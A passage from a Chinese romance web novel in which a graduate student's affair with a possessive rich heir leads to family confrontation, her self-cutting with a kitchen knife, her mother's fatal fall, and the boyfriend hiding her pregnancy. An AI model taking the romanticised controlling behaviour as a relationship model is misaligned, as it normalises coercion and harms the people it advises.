只是看她委屈可怜的脸色,甄世明又不想再逼问下去破坏旅行的心情,干脆亲了亲手心。 “是很好。”他说- 他们的俄罗斯之旅在过年前结束,前一晚甄世明折腾了太久,方楷莹第二天赖床差点没赶上飞机,匆匆登机之后方楷莹才想起这几天一直没买过纪念品,忍不住怨他:“都怪你。” 甄世明一脸餍足懒倦,“那我们现在下飞机去买?明天再回去吧,我想和你再多待一天。” 方楷莹瞪他一眼,正襟危坐,“我和妈妈说了回家的时间。” 确实有点儿遗憾,她明明来之前就想要个俄罗斯套娃,在集市看中一个纯手工制作的,可她总觉得会有更好看的在后面,这一贪心,又一耽误,人就坐上了回国的飞机。 虽然飞机上也有推销,可她都不喜欢,随便买一个她不乐意,宁愿留下遗憾也不想买下不心爱的东西。 下飞机后,她对甄世明再三嘱咐:“我回去之后就要收拾过年,在家里打扫卫生或者出去买年货,你别总给我打电话,有时间我会给你发微信,我妈妈不在家的时候我们可以见面一小会儿,但也要在楼下,方楷杰放寒假回来了,也得避开他。” 方霞,方楷杰。 这个家里大概没有一个不憎恨甄世明的人。 前路不易,甄世明叹气。 方楷莹见他叹气,丢下行李箱,双手揪住他的大衣,踮起脚,啄吻在温热的唇边,轻声向他保证每天都会想他。 甄世明听完这话,脸上才见了好颜色,把她的身体裹进羊绒大衣紧紧抱住,低头吻在额角和脸颊,要亲嘴时她却缩着肩膀躲。 “机场,不好~” “不儿,你亲我就好,我亲你就不好?” 方楷莹:“” 他又恼了,拎起她的行李箱大步往前走,方楷莹得小跑着去追,追到车里刚坐好,就被他捏住脸颊吻下去。 很长时间过后,甄世明才克制地伸出手指擦了擦她微肿的嘴唇,但眼神早已不再清朗,方楷莹不敢与这样深井般的眼睛长久对视,怕被他看进眼睛里就再也出不来。 “你不生气了吧?”她躲着眼神问。 甄世明启动车子,又侧身狠捏了一下她的半边脸,似是无奈,似是投降:“我怎么这么爱你呢?”- 过年前那几天,她和甄世明见面少,短信多。 方楷莹忙着和弟弟在家里打扫卫生,两人分工,把那老破小的屋子从里到外打扫一遍,清理油烟机的时候,方楷杰问她研究生交换项目怎么申请,去了国外过的什么生活,最长可以申请多久? 她接过方楷杰拆下来的滤网,真真假假混着编谎,面不改色心不跳地骗过了弟弟。 “姐,有没有去美国的交换生?” “有啊,你问这个干什么?” 方楷杰沉默了会儿,答:“我想去,找个人。” 方楷莹不甚在意地问:找谁啊?” “甄宝珠。” 破旧的窗户被风吹开,寒烈的冷风吹进小屋子,温度骤降,方楷莹打了个哆嗦。 “你找她干什么?”方楷莹转身把滤网放进水池,喷上刺鼻的清洁剂。 厨房窄小,两个人站着都挤,方楷杰就着一小股热水洗了手,贴着墙壁瓷砖越过方楷莹去关窗,漫不经心地说:“我想当面问问她,有没有真的喜欢过我。” 方楷杰现在已经上了大学,方楷莹本以为他早已走出失恋阴影,会在大学交新女朋友,却从没想过他还惦记着甄宝珠。 “你还没忘了她吗?” 即使方楷莹不能看到自己的脸,也知道自己此时脸色一定不太自然,余光偷偷瞥向方楷杰,他唇角浅浅下弯,眼神里怅然。 “我上大学以后看室友谈恋爱,也羡慕过,但当自己开始接触女生的时候,却把每一个对我有好感的女生拿来和甄宝珠比,然后发现宝珠是最特别的人,我根本忘不了。” “姐,等你以后谈了恋爱就知道,第一次爱的人,没那么容易忘。” 方楷莹低头看着逐渐膨胀的泡沫,根本不敢抬头看她弟弟,她不知道要怎么告诉他‘我正在和拆散你初恋的人谈恋爱’。 此时,方楷莹的手机响了,拆散方楷杰初恋的罪魁祸首发来短信。 【下来】 【在你家楼下】 【太想你了】 【见见我吧】 方楷莹的脸突然泛起一层红,超不经意挪在小客厅窗户旁边,向下望去,甄世明的车停在楼下。 幸好,是那辆低调的沃尔沃。 “姐,你趴在窗口干什么?那窗子不太结实,你小心点儿。” “啊,哦,我”她看向方楷杰手里拿的抹布,说:“我下楼买两块擦窗布你在厨房看着油烟机我刚喷上清洁剂一会儿你把它擦干净我马上回来。” 她叽里咕噜说了一大堆,把方楷杰绕晕了就立刻套上羽绒服下楼。 狭窄的楼道就算白天也不见光,声控灯时好时坏,年前每家每户都清洗家纺窗帘,楼道内飘着淡淡的洗衣液香味,掩住了平日里的阴湿潮霉。 方楷莹急匆匆下楼,跑到一楼时被隐在暗处的人揽腰抱住,她抑制住尖叫,鼻尖嗅到更令人心动的香味,来自甄世明的大衣。 “听脚步声就知道是你。”他说:“吓到了?” 一拳捶在胸口,他夸张地弓了下背,又圈住方楷莹的细脖颈,装狠道:“下手这么重,我是你仇人啊?” 甄世明在楼下等了很久,楼道里温度也低,他说话时呼出的白雾和他人一样清爽,压根不属于这个逼仄的楼道。 方楷莹左右瞭望,“你来干什么?” 甄世明捧住她的脸就要亲下,“想我女朋友了,来看看怎么了?” 方楷莹扑棱脑袋,又推他,却被他按在怀里,嗓音低沉地问:“你不想我?” “” 她也想,但楼道里危险。 见她长久不说话,甄世明伸手捏了捏她的细手指,说:“不想我下来的时候跑这么快?” “那是因为运动惯性”她一边说,一边从甄世明怀里往出拱。 甄世明没听到她承认想他,光听到羽绒服和大衣摩擦出抗拒的声音,莫名觉得烦,一把松开她,冷着张脸说:“你不是保证说每天想我?” 他的情绪一点儿都不掩饰,爱恨都写在脸上,生气时连方楷莹这样对情绪迟钝的人都能看出来。 “你生气啦?”她冰凉的手指尖伸进他的袖子里,触碰着手腕上的纹身,“不Happy啦?” 甄世明扬着头,不搭理她,也不让她走。 “我妈妈出去了随时有可能回来,方楷杰也在楼上,我说买擦窗布才能下来和你说两句话,你要是不说话我可走了。” 她一作势要走,甄世明就环住她的脖子,又问:“你不是保证说每天想我?” 她答:“今天还没到想的时间。” “你想人也有时间表?” “有,把你排到晚上想。” 因为冬季白昼短黑夜长,晚上可以多想会儿。 她还以为这样说甄世明会开心,哪料他的脸更冷下来,捏住她的后颈骨,凶巴巴问:“那白天想谁?!” 方楷莹:“白天我做家务。” 甄世明不耐烦,“做什么家务?我早说了,请家政公司来,你就坐那想我就成,你偏不,方楷莹你是不是想气死我?” 方楷莹挠头,他反反复复的情绪令她不解,“你是不是心情不好?” 甄世明斜乜一眼,“你终于看出来了?我心情不好,这几天爸妈让我回家住。” 临近年尾,甄家的门槛要被送礼的人踏破,每天吵得甄世明脑仁儿疼,还得微笑着表演知书达理,他烦死了,好不容易才找空闲出来,最想见的人见到了,一说话又让他不高兴。 “那甄宝珠回来了吗?”方楷莹试探着问。 甄世明眉峰微皱,方楷莹从来不问他家的事,突然来这么一句,让他立刻警觉起来,“你问她干嘛?” 方楷莹支支吾吾:“方楷杰说不是,他想” “你让他想点儿别的,”甄世明傲气凌人地打断,“就是别想我妹妹。” “为什么?”她脱口而出。 甄世明斟酌了一番用词,才把“不配”改成“不合适”,话虽委婉,但他脸色难看。 方楷莹看着他的脸色,不自觉往后退一步,问:“那咱两就合适吗?” “咱两是咱两。” “有什么不一样?”她非要问到底。 “因为我作为男人,可以给你更好的生活,但你弟弟作为男人”他本不想说会伤到方楷莹的话,干脆沉默下来。 方楷莹却坚持说:“你看人也有偏见,我弟弟是个很好的人,他只是想见到甄宝珠问问她是不是真的喜欢过他,没有别的意思——” “不够,你明白吗?” 甄世明想起那档子事心里就烦极了,不想再斟酌语言,“甄家从来都不缺很好的人,等以后你见过了,你就知道了。甄宝珠从小到大没见过穷人,那时是图新鲜,新鲜劲儿一过就甩了,就是这么回事,你弟弟怎么就看不开呢?” 方楷莹很久都没说话。 直到冷风从破损的楼道门里吹入,挟着水泥地的尘埃和廉价的洗衣液味一起钻进羊绒大衣里,那些代表贫穷的东西都被抵挡在称为软黄金的纤维之外,而这个一贫如洗的人就站在他的眼睛里。 “你呢?你见过穷人吗?” 方楷莹声音平淡地问。 第37章 “你的新鲜劲儿什么时候过去?” “我不是那个意思。” 甄世明俯首看她, 方楷莹眼帘低垂,脸色平淡,看起来有种生人勿近的冷漠感。 她也不知道自己怎么了, 明明平时对他人情绪都迟钝, 但偏偏对甄世明说的话非常敏锐,感知他的情绪也比感知别人的情绪更快更准。 现在她的心理病好像真的在逐步好转, 感情前所未有的丰富, 但这也实实在在给她带来伤害。 “我和我弟弟出生在同一个家庭,你和你妹妹也出生在同一个家庭,有什么不一样?我不懂。”她说话时语气生硬, 争执起一件事来就不停不休。 “方楷莹, 我已经跟你解释过了, 你也要站在我的角度想想问题,这不只是穷与富的关系, 我对我妹妹的早恋对象没有好感,不是很正常的事吗?不说别的, 就说你作为方楷杰的姐姐, 现在对甄宝珠有好感吗?” 她想起来方楷杰断腿在医院时,甄宝珠在自家泳池笑容灿烂的画面, 只觉得讽刺。 “没有好感。”方楷莹冰冷地说。 甄世明点点头, 压住火气自嘲:“那挺公平的, 你家人不喜欢我,你也不喜欢我家人。” 本来是两个互相思念的人, 但因为太年轻, 总是几句不和就有了不欢而散的迹象。 方楷莹也发了脾气,抬高声音问:“那我们两个为什么在一起?” 楼道里的声控灯忽然亮起,低瓦数的白炽灯忽闪忽闪, 灯下甄世明的影子全然覆盖着她的影子,那双眉眼从来时的欣喜变为当下的沉愤。 平时他总是让着她,现在也不容不让:“你什么意思?!我来找你是为了听你说这个的?!” 方楷莹咬紧两腮,气呼呼说:“我嘴笨,总是说不了你想听的话,你可以回家去听,那里会有很多人恭维你。” “为着别人的事儿,你至于吗?!” “我至于。” 她被他的话伤到,怎么不至于? 甄世明捏紧拳头,被她气得咬牙切齿,“你别跟我来劲,差不多得了啊,我今天来找你是因为我想你,不是过来找茬儿的,你——” “我没让你来找我,”方楷莹倔强地把头别来,淡淡道:“我也没让你想我。” 甄世明的心态犹如核弹爆炸,拳头捏得咯咯作响,“我犯贱行么?操!我他妈再来找你,我是你孙子!” 破楼道门一摔,走了- 这一走,甄世明确实再没露面。 方楷莹呢?每天像霜打的茄子。 现实条件不允许他们床头打架床尾和,两人僵着谁也不理谁。 他们谈恋爱一年,虽然总是拌嘴,但从没有因为这么深刻的话题吵过如此尖锐的架,而习惯于每天被甄世明微信电话各种“骚扰”的方楷莹,也突然感觉不适应,仿佛灵魂都被抽走一缕。 她现在能理解方楷杰为什么失恋之后不吃不喝了,她现在也吃不进去。 恹恹地吃了两口午饭,她放下筷子说吃饱了,方霞立刻把她胳膊拽住,重新把筷子塞进手里。 “再多吃点儿青菜,对身体好,必须吃完我给你夹的,吃不完不许下桌啊,我这是为你好!” 方楷莹做了二十多年乖乖女,后来和甄世明谈恋爱期间也一直在家里伪装乖乖女。但就这一天,她突然不想当乖女了,于是乎把筷子重重摔在桌上,转身摔上卧室的房门。 她觉得这突如其来的叛逆应该是甄世明潜移默化的结果,因为摔上房门那动作,她是模仿甄世明的。 方霞和方楷杰都愣了一时。 然后方霞便坐地哭嚎,顿足捶胸地连着方楷杰一起骂了:“有没有良心啊你们俩!你们现在翅膀都硬了是吧?!这些年你们两个弄出多少事儿来!我的命怎么这么苦啊?我不如死了算了!” 方楷杰蹲下安慰:“妈,快过年了,您别说这种不吉利的话,她不吃我吃。” 方霞不听他的,看了一眼方楷莹紧闭的卧室门,又开始嚎啕,从那个出轨的男人,骂到方楷莹从来没见过的“狐狸精”。 小卧室里,方楷莹捂住两耳趴在床上,把枕头盖在脑袋上,以鸵鸟的姿态叛逆。 这是她第一次和妈妈对着干,听着门外的惨哭,她觉得妈妈有时简直像个婴儿,只要没人哄,哭嚎起来就没完没了。 大概抵抗了半个小时,她终于受不了了,那些话就像是孙悟空的紧箍咒,念久了再硬的骨头也得投降。 于是乎她又气呼呼打开房门,坐在桌前吃凉了的饭菜,把自己心里的恼和怨发泄在碗里,当她吃完时,妈妈也不哭了。 方楷莹的第一次正面叛逆,以失败告终- 过年那天。 方楷莹反复打开手机查看信息,寻思甄世明怎么也应该群发一句【新年快乐】吧。 等到中午,他没发一条短信微信,妈妈拿出给她买的新衣服她也笑不出来,等到春晚都开始了,手机也没动静,她包饺子包得心不在焉。 手机静悄悄,倒是窗外那些鞭炮烟花震得窗户摇晃,她双手趴在窗上往下看,想着或许能看到甄世明的车。 也没有。 “你趴那干什么?”妈妈发现她像壁虎似的扒窗。 方楷莹挪坐在沙发上,心虚地说:“我我看烟花。” “姐,那窗框不结实,你平时离远点儿。”方楷杰抓了把瓜子说。 “哦。” 方楷莹没心思看春晚,在小屋子里溜溜达达,坐在没开灯的卧室床边,犹豫再三,还是给甄世明发了条微信。 【新年快乐】 等了好久,他竟然没回复。 方楷莹的心情从高处跌入谷底。 她竟然在窗外烟花漫天的时候生出了惆怅之感,连自己都觉得不可思议,可心情就是这样跌下去之后再也没有起色。 直到妈妈看累了春晚早早睡下,弟弟在卧室和室友们通视频电话聊天,方楷莹的手机才来了电话,看一眼来电显示,她的心脏扑通扑通,手心都出了汗,握住手机轻轻放在耳边,又觉得外面烟花太吵。 电话那头也是杂乱的鞭炮声响,仿佛和这边是同一种响声,当然这些她都可以屏蔽,只想听到想念的声音响在耳边。 “奶奶,还生气呢?” “您孙子在楼下等着呢。” 她唇边翘起腼腆的笑弧,“等着吧。” 方楷莹怕吵醒妈妈,又怕惊动弟弟,连棉服都没穿,穿着毛茸茸的睡衣轻手轻脚打开门,一只小鸟似的扇着翅膀飞下楼,刚跑到三楼就撞进甄世明宽阔的怀抱里。 他眉头一紧,脱下灰色大衣为她披上,忍不住数落道:“你怎么不裸奔出来呀?” 方楷莹:“” 狗嘴里吐不出象牙,她气得转身上楼,却被有力的手臂圈住脖颈,拖下楼,赶上车,车里温度适宜,方楷莹也不再冻得打冷颤,低头嗅了嗅大衣衣领,熟悉的味道让她安心。 甄世明侧身看着她,她却扭头脸朝外,一副拒人千里之外的样儿。 “我都叫奶奶了,您还生气呢?” 她低下头说:“我给你发微信了。” “是吗?”他的手伸到方楷莹侧边的兜里,掏出手机来看,“我还真没看微信,一下飞机就快马加鞭来给奶奶请安了。” 方楷莹拧他手臂,不让他再说这个。 “你刚下飞机?” “嗯。” “去哪儿了?” “不告诉你。” 她佯装生气,去拉车门却发现上了锁,甄世明又恢复混蛋模样,扳过她的肩膀和脸,看着那倔强的眼睛,彻底归降。 “我跟你道歉,成吗?” “别勉强。” “不勉强,我每天想你,连饭都吃不下,要再不跟你道歉,年后就该给我买棺材了。”甄世明柔声细语,鼻尖的一点凉触碰到她的脸颊,让她的心也瑟瑟缩缩,手指盖在他的嘴唇上,不许他乱说话。 温热的手握紧冰凉的手指,他又张嘴轻咬一下指节泄愤,低声问她:“你呢?也想我是不是?” 方楷莹开始无言,在炯炯目光的注视下,还是诚实地点了点头。 “你看,咱两都难受,以后就别掐了,”他的手捧住方楷莹的脸,拇指反复摩挲柔软的脸颊,“我知道你心疼你弟弟,甄宝珠在国外玩儿野了,过年没回来,以后她什么时候回来我都告你行么?要不我让她加你微信,告诉她你是她嫂子,让她老老实实汇报行程。” 方楷莹脸刷一下红了,“谁是嫂子?” “你呗。”甄世明唇角弯起,看她脸红觉得好玩儿。 方楷莹往后退脸,对这个称呼感到陌生又害羞,甄世明却用手挡住后脖颈,不让她后撤。 “我说真的,我和你谈恋爱,不是图新鲜。我虽然平时挺混蛋的,但在感情的事儿上我不乱来,我想给你承诺,想和你结婚,让你给我生一大堆奇怪又聪明的孩子。”他说这话的时候,脸上还是那副混蛋样儿,笑得有点痞气,手放在她的小腹轻轻压了一下。 方楷莹脸红到脖子。 虽然他们谈恋爱已经一年有余,但她压根没想过更长远。在家里,妈妈依然把她当成好控制的孩子,而在甄世明眼里,她已经可以当妻子和母亲了吗? 方楷莹无所适从,抿着唇不说话。 “你不想和我结婚,不想给我生孩子?”他脸上的笑逐渐融化,变成疑惑。 方楷莹低着头咕哝:“我还没想过这么多,我应该把学业弄好吧,现在研究生快毕业了,最近我还在准备雅思考试,导师说我的履历很漂亮,可以去国外读博士,本专业最好的院校在美国,理论实践都很先进,玛丽杨教授是我的心选导师,她是微电子领域的顶尖教授,甄真导师说她可以给我写推荐信” 她说了很多,偏头看着甄世明疑惑的脸,声音逐渐变小到静音。 “你说的这些,怎么和我没关系?”甄世明抱着手臂,费解地问。 “啊?” 方楷莹仔细回想一下,好像是没有甄世明什么事儿,“我我我现在就是这么计划。” “那我呢?”他英秀的脸凑近,“你是怎么计划咱两的?” “我还没有计划。”她眼神飘忽,不敢直视他那双深邃的眼睛。 甄世明这个人的出现,本身就是计划之外,以至于此时此刻,方楷莹不知道该把他放进人生计划的哪一个位置。 他支着下巴沉思,方楷莹也不说话。 烟花炮仗声响四起,两人隔着天窗望着锦绣斑斓的天幕,在沉默中跨过了新的一年。 “新的一年你得开始计划我了。”甄世明忽然压过来,在唇上狠狠亲下。 方楷莹的手贴在他的胸口,感受着胸肌之下的有力心跳,她没想过自己能做出这样浪漫的事,在满天烟花下接吻。 偷偷睁开眼看甄世明的鼻梁和眼睫,她看得入迷,觉得这双眼睛比烟花还要好看,甚至想拔下一根眼睫留念。 一吻过后。 甄世明伸出手臂,从后排探过一个礼物盒交到她手里,“你不是问我去哪儿了吗?打开看看。” 方楷莹拆开冰凉的外包装,木盒子里是她在莫斯科集市看中的套娃。那一大堆手工制作的套娃里,她最喜欢的图案就是小女孩怀抱一条大红鱼,画风偏向中国年画,看着就喜庆,她喜欢的原因是这大红鱼和甄世明养在家那尾红龙鱼很像。 甄世明虽然对她的审美嗤之以鼻,但在集市时依然想要为她买下,但她当时却说也许会有更好看的,就把甄世明拉走了。 最后他还是重新回去买了这个。 “我本来打算买完就返程,但莫斯科下雪,天气恶劣,航班停飞,差点儿没赶回来。”他一下飞机就赶过来,大年三十甄家人都没见着他。 甄世明双指交叠在木盒上弹了一下,歪头微笑,“方楷莹,新年快乐。” “可是我还没有给你准备礼物。” 甄世明笑笑,举起手腕给她看,深红色的纹身在淡青色的血脉中盘桓,“这个就是你一整年给我的礼物,如果你觉得不够,那再主动亲我一下。” 他凑过脸去,手指了位置,方楷莹腼腆亲过去的时候,他却转了头,含住她的嘴唇- 新年过完之后。 方楷莹考了雅思,成绩还不错,又在准备申请博士的资料。 日子在忙碌中无序进行着,无序的主要原因是甄世明通过这次吵架意识到他离不开方楷莹,方楷莹也不能离开她。 他不再满足于偶尔的约会和寒暑假的旅行,强烈的占有欲让他做了很多出格的事,比如说直接帮方楷莹请假。 那时甄真大概是甄家唯一知道他们谈恋爱的人,她早知道甄世明对方楷莹有意思,但以为那件事之后两人就不再联系了,谈恋爱的消息是过年时甄世明亲口告诉她的。 她当时还不知道为什么告诉她,过完年之后就明白了,甄世明打电话给她,为自己的女朋友请假,她既是导师也是姑姑,总不好拒绝从小看着长大的侄子。 请过假之后,甄世明就把方楷莹带走游山玩水,刚开始甄真只是睁一只眼闭一只眼,但请假次数太频繁,加之方楷莹在谈恋爱的状态中无法自拔,论文写得乱七八糟,她便再也忍不了了,把方楷莹叫到办公室谈心。 指出几个论文问题之后,甄真提醒道:“楷莹,最近想法是不是有点儿跑偏了?这篇论文和之前你写的根本就不是同一水平。” 方楷莹一直是优秀的学生,从来没出现过这么多的错误,她内心受到打击,咬着嘴唇不说话。 “你要想清楚,现阶段什么才是最重要的,以后世明再跟我请假我不批,我也会劝他别打扰你,让你有时间好好看看自己的论文。申请博士的材料准备得怎么样?” “也没准备好。” 甄真仰靠在椅子上看了她很久,方楷莹就依然像个初中生那样亭亭站在她身边,双手捅进袖子里谦卑认错,黑白分明的眼睛里没有一点杂质,她觉得这简直是璞玉一般的姑娘,还是得用心雕琢。 “作为甄世明的姑姑,我肯定是希望他的恋爱能有好的结果,也很希望有新成员加入甄家,让家里人丁兴旺,但是作为你的导师我希望有天赋的学生能到更高深的领域去钻研。你能明白我的意思吗?” 方楷莹懵懂地摇头。 “你是个有天赋的姑娘,但你要知道,在科研领域,泄露管道效应一直是女性科研者的困境,本科阶段的男女比例是平衡的,但你再往上看呢?硕士、博士、研究员、副教授再到正教授,每上一个层级你就会发现女性占比越来越少,就像一个泄露的管道,把相当一部分优秀女性“泄露”出去,你要知道女性的“学术黄金期”同时也是“生育黄金期”,很多女性难以平衡事业与家庭,自动退出一部分,难出成果淘汰一部分。你呢?你想当哪部分?” 方楷莹和每一个年轻人一样迷茫,她只知道按照现有的路线走下去,却没想过最终要走多远,她的目标狭义清晰,广义模糊。 “我我想当留下来那部分。” “那你就要重新考虑和甄世明的关系了。” 方楷莹细眉轻蹙,她享受着恋爱的好处,且并不认为恋爱就要和生育挂钩,不禁犹豫地问:“我现在调整状态,再多付出一些精力,应该可以做好吧?” “现阶段来说,能做好。那以后呢?”甄真很严肃地问:“你和他是认真的恋爱关系吗?我看他挺认真的。” “我也是认真的。”方楷莹在这个问题上没有犹豫。 甄真点点头,说:“我给你讲个甄世明小时候的故事吧。那时候我带几个小孩去森林里玩儿,甄世明捉到一只萤火虫,很喜欢,就捂在手里,让他放进玻璃罐子都不行,他说‘那是他的,只能给他看’,后来他妹妹总是想抢,你猜他怎么样?他把那小虫子踩死了。” 方楷莹忽然觉得心里突突得跳。 “我觉得,你现在就像是他手心里的萤火虫。你觉得他不会影响你,是因为你现阶段仍然不了解他,我是他姑姑,本来不应该这样说他,但他从小要风得风要雨得雨,性格培养得很差劲”甄真不好细说,细说起来像给甄世明开批斗会,她只说:“我不是想拆散你们,只是不想看你天赋浪费,泯然众人。” 方楷莹倒吸一口凉气,呐呐点头说会好好考虑,然后便垂头丧气,退着走出办公室。 甄真不确定这场谈话能给方楷莹带来多少影响,但金字塔顶端的女性少之又少,她只希望方楷莹是其中之一- 方楷莹刚走出导师的办公室,甄世明就发短信说在停车场等,她挪着缓慢的脚步走过去,心情不再像平时见他那样雀跃,她像一朵蔫掉的小花儿,垂着头走到甄世明身边。 甄世明见她不开心,揽住肩膀轻声笑问:“怎么了?我的萤火虫。” 方楷莹在他怀里哆嗦了一下,脸色惨白地推开他,说:“没什么。” 甄世明不解,“来月经了?” 方楷莹摇摇头。 送她回家的一路,方楷莹也不说话,甄世明也没说话,她想的是要不要提出分手,甄世明想的是月经推迟了多久。 直到车停下,两个人几乎同时开口。 “分手吧。” “结婚吧。” 然后四目相对,相顾无言。 “你要跟我分手?!” “你你想和我结婚?” 甄世明的手搭在方向盘上,脸色和她一样差劲,目光里有股无名小火在燃,声音压着怒意,“你吃错药了?好好的为什么说分手?” “因为我得好好读书,没有精力谈恋爱了。”她缩着肩膀,嫌弃地说:“你总影响我” “你是小学生吗?!这是什么破理由?” “今天导师找我谈话了” 甄世明抓了抓头发,一张完美的脸上出现愤怒的裂缝,“我跟你谈的是校园恋爱吗?老师找你谈话了,说你以后别和甄世明玩儿,他落后分子,然后你就跟我说分手,下节课咱两别当同桌,你是不是还要给我这车里划条三八线?你不是成年人吗?你没有分辨能力吗?” “我有。”她倔倔地说。 这下甄世明更来气了,“你有分辨能力还要跟我分手,我怎么你了?” “说了,你影响我。” 甄世明:“我怎么影响你了?” 方楷莹:“和你在一起的时候我睡不好觉,和你分开之后又总想你,我也睡不好觉,我在写论文的时候想起你,在做实验的时候想起你,我现在这样的状态以后怎么读博士?所以我得和你分手。” 甄世明愣了一会儿,又朗声笑起来,抬手戳了戳她的鼻尖,“傻瓜,你这是爱上我了,赶紧给我把‘分手吧’三个字收回去,换成‘我爱你’。” 方楷莹却低着头,嘴唇也不动,甄世明权当她是又犯倔,揉了揉她的脑袋,说:“别闹了,你把心放平,不就是读博士么,你选个国内的导师,我让你一天都不用去也能读完博士,到时候你就呆在我身边,就不用想我想得睡不着了。” 方楷莹耷着眼角,嘴唇翕动,还没张开就被甄世明掐扁,像小鸭子的扁嘴唇,他的脸色也冷下来,话语中带着不容置喙的压迫感,“别说我不爱听的话。” 他松开手,亲了亲方楷莹的眼皮,觉得不够,又亲了亲她的唇角。 本就内心摇摆的方楷莹此刻想法更加松动,简直站不住脚。她与甄世明是那么亲密,身体最柔软的三个区域,眼皮、口腔黏膜,阴.唇,他都温柔地触碰过、亲吻过,要说分手,方楷莹自己都舍不得,轻叹口气,她的唇找到他的,不断将这个吻加深成难分难舍的湿吻。 然而,两人刚从令人眩晕的亲吻中分开,方楷莹就感觉有视线从别的地方而来,她望向破败的大门。 妈妈站在那里- 方楷莹和方霞四目相对,忽然感觉全身冰凉。 身旁一双有温度的手拉住她的手,安抚她说:“别害怕,我去和阿姨解释,早晚都要解释的。” 甄世明将要下车,却被方楷莹突然迸发的力量紧紧拉住,她的声音听起来有点儿发抖,但眼光却坚定,“你别去,她不会听你的,你回家。” 方楷莹深吸一口气,下了车。 方霞今天回来的时间比平时早很多,因为给钱最多的那家户主最近改用别人保洁了,她的生意被人撬走,心里本来就窝火,一回家远远就看到路边停的车里有年轻人在接吻。 定睛一看,天塌了。 看着小区门口人来人往,方霞什么都没说,扭身走进水泥地塌陷的小区,经过掉墙皮的楼栋,方楷莹在漏风的楼道门口追上她,伸手要帮她拿手里的清洁桶,她却猛地甩了一膀子。 方楷莹的肩膀撞在墙上,白色的墙灰蹭到衣服,方霞理都没理,一个人上了四楼。 等方楷莹再追上去时,家里的门是打开的,方霞坐在沙发上喘着气,眼睛死死盯着她。 “妈妈。”她小声地叫。 但方霞让她跪下,她却笔直如竹。 “那个流氓,强.奸犯!他逼你的是不是?”妈妈的手和声音一起颤抖。 “不是,”方楷莹摇头否认:“他不是” “他怎么不是?”方霞激动得跳脚,破口大骂:“你还要不要脸!他回来找你你怎么不告诉我?这么多年我都帮你瞒着,连你弟弟都不知道,你倒好!在大门口和他那样,一定是他逼你的对不对?!你告诉妈妈,我去杀了他!” 方霞站起来就往厨房里冲,身体颤抖着拿起菜刀,方楷莹赶忙扑上去夺,连她都不知道自己哪里来的力气,抢下菜刀握在手里,虎口绷得紧紧的,对着妈妈的喊声也是前所未有的尖锐刺耳:“他没有强.奸过我,我们在谈恋爱,他对我很好,我都是自愿的!” 方霞的眼里早就血红,指着方楷莹的太阳穴,紧紧咬牙道:“你跟正常人不一样!你现在你顶多是个没有长大的孩子,你知道什么叫自愿?!他那时强.奸你,现在哄骗你,你还觉得是自愿!我告诉你,你以后不能再和他在一起,我明天就去上访,我要告他们家,市里不管中央会管!我要让这个混蛋进监狱!” 方楷莹听着熟悉的尖声喊叫,忽然觉得好累,她的情绪仿佛已经到达了一个极端,却流不出泪,也再无法尖叫,急迫需要一个宣泄的出口,于是她拿起菜刀,在自己胳膊上划了一道,手臂被划破,汨出一个个鲜红血珠,那就是她的出口。 但耳边的喊叫声分毫未减,甚至更加喧嚣,在那一阵狂嚣中,她眼前一片片眩晕,低声而坚定地说:“我没有病。” “你这是干什么?!你吓唬我是不是?!你要去哪里?!方楷莹!!!你敢走!我活着有什么意思!我死了算了!你敢走我就从这儿跳下去!!” 午后的光晕在方楷莹眼中放大,而母亲的身影挡住窗边的光源,她看不清楚一切是怎么发生的,甚至没有听到母亲的叫骂,只听到窗户摇晃吱吱作响,窗框崩裂的脆声,和母亲跌落的那一声轰然。 春天的风从毫无遮拦的窗口吹进,将方楷莹的头发吹乱,她呆站在原地,手臂的血液顺着指尖流下。 滴答。 像一滴眼泪砸下- 情绪被拉伸到一个极端,然后如橡皮筋一样崩开,方楷莹仿佛又回到儿时,面无表情地上了救护车,被带着熟悉香味的风衣包裹紧,签下死亡通知书,从始至终内心毫无波澜。 方霞的葬礼是甄世明筹办的,方楷莹一言不发,冷眼看着甄世明,看着每一个来参加葬礼的人,看着前来参加葬礼才知晓恋情的秦赫和蓝梦,看着哭泣质问又被甄世明拉开的方楷杰。 在方霞下葬之后,她在众人的注目下站起身,然后晕倒在甄世明怀里。 她在医院昏迷了三天三夜,仿佛是大脑开启了回避机制,不愿意指挥神经睁开眼睛。 那几天,甄世明让人给她做了全套检查。 他坐在方楷莹的病床边,皱眉看着她,她整个人好像瘦了一圈,手臂上是包扎好的纱布,手背插着留置针,白皮肤里透着死败的灰。 甄世明长久地看着她,内心翻涌的不止是心疼。 他想起方楷莹签字时的情景,她的手都没有抖一下,又想起这几天她的表现,一滴眼泪都没流下。 她并非内向,她不正常。 这让他感到害怕。 护士拿化验单递给他,他一张一张仔细翻阅,最后那张他看了很久。 血HCG——阳性。 余晖夕阳下,甄世明站在窗口,把那张化验单装进风衣衣兜,决意不将怀孕的消息告诉方楷莹- 方楷莹在旧日的梦中沉睡,在梦里她清晰地见到了母亲,那个瘦削精干的女人,在丈夫出轨走后用一声声哭嚎开始自己悲惨的命运,负心的男人留下的信中告诉她,自己早就发现了方楷莹是个有问题的孩子,劝告她把方楷莹送去孤儿院,开始新的生活。 那张存折里也仅留了三百六十元。 瘦小的方楷莹被妈妈手牵手拉着去银行取钱,妈妈刚走出银行就把那存折扔进垃圾桶,看她一眼之后也把她留在那,小小的方楷莹站在银行门口,哪儿都没去,也不知道该去哪。 迎着冬天的日光,她站在那,冻得发紫的小脸始终朝着阳光的方向,直到日光由东到西,她看见妈妈折返的身影。 女人叉着腰站在她面前,问她:“我走的时候你为什么不叫住我?!” 小方楷莹伸出冻僵的手指抱住她,张开干燥起皮的嘴唇。 “妈妈。” “妈妈。” 方楷莹睁开眼睛,芯芯这样叫她。 第38章 “妈妈, 你怎么哭了?” 乖巧的孩子站在床前,温暖的手指小心翼翼地触碰泛泪的眼角。 方楷莹捂住脸,不愿让孩子看到她的眼泪, 逐渐从梦境中彻底醒来, 整理好心情回到如今的现实。 “芯芯,要再睡会儿吗?”她挪身把小孩卷进怀里, 孩子依偎在她身上, 身体的温度像个小火炉。 芯芯两手环抱妈妈的腰,小声地问:“妈妈你为什么哭,是不是和爸爸吵架了?他欺负你了?” “没有~” 她想起那久违而火热的吻, 不自觉红了脸色, 又入了昨夜的梦境, 觉得推开拒绝应该是最妥善的方式。 芯芯咬着手指想了想,又问:“幼儿园的小朋友说他们的爸爸妈妈都在一起睡觉, 你们为什么不一起睡呢?是因为我们家很大吗?” 方楷莹揉了揉男孩黑亮的头发,“别人的爸爸妈妈睡在一起是因为爱情, 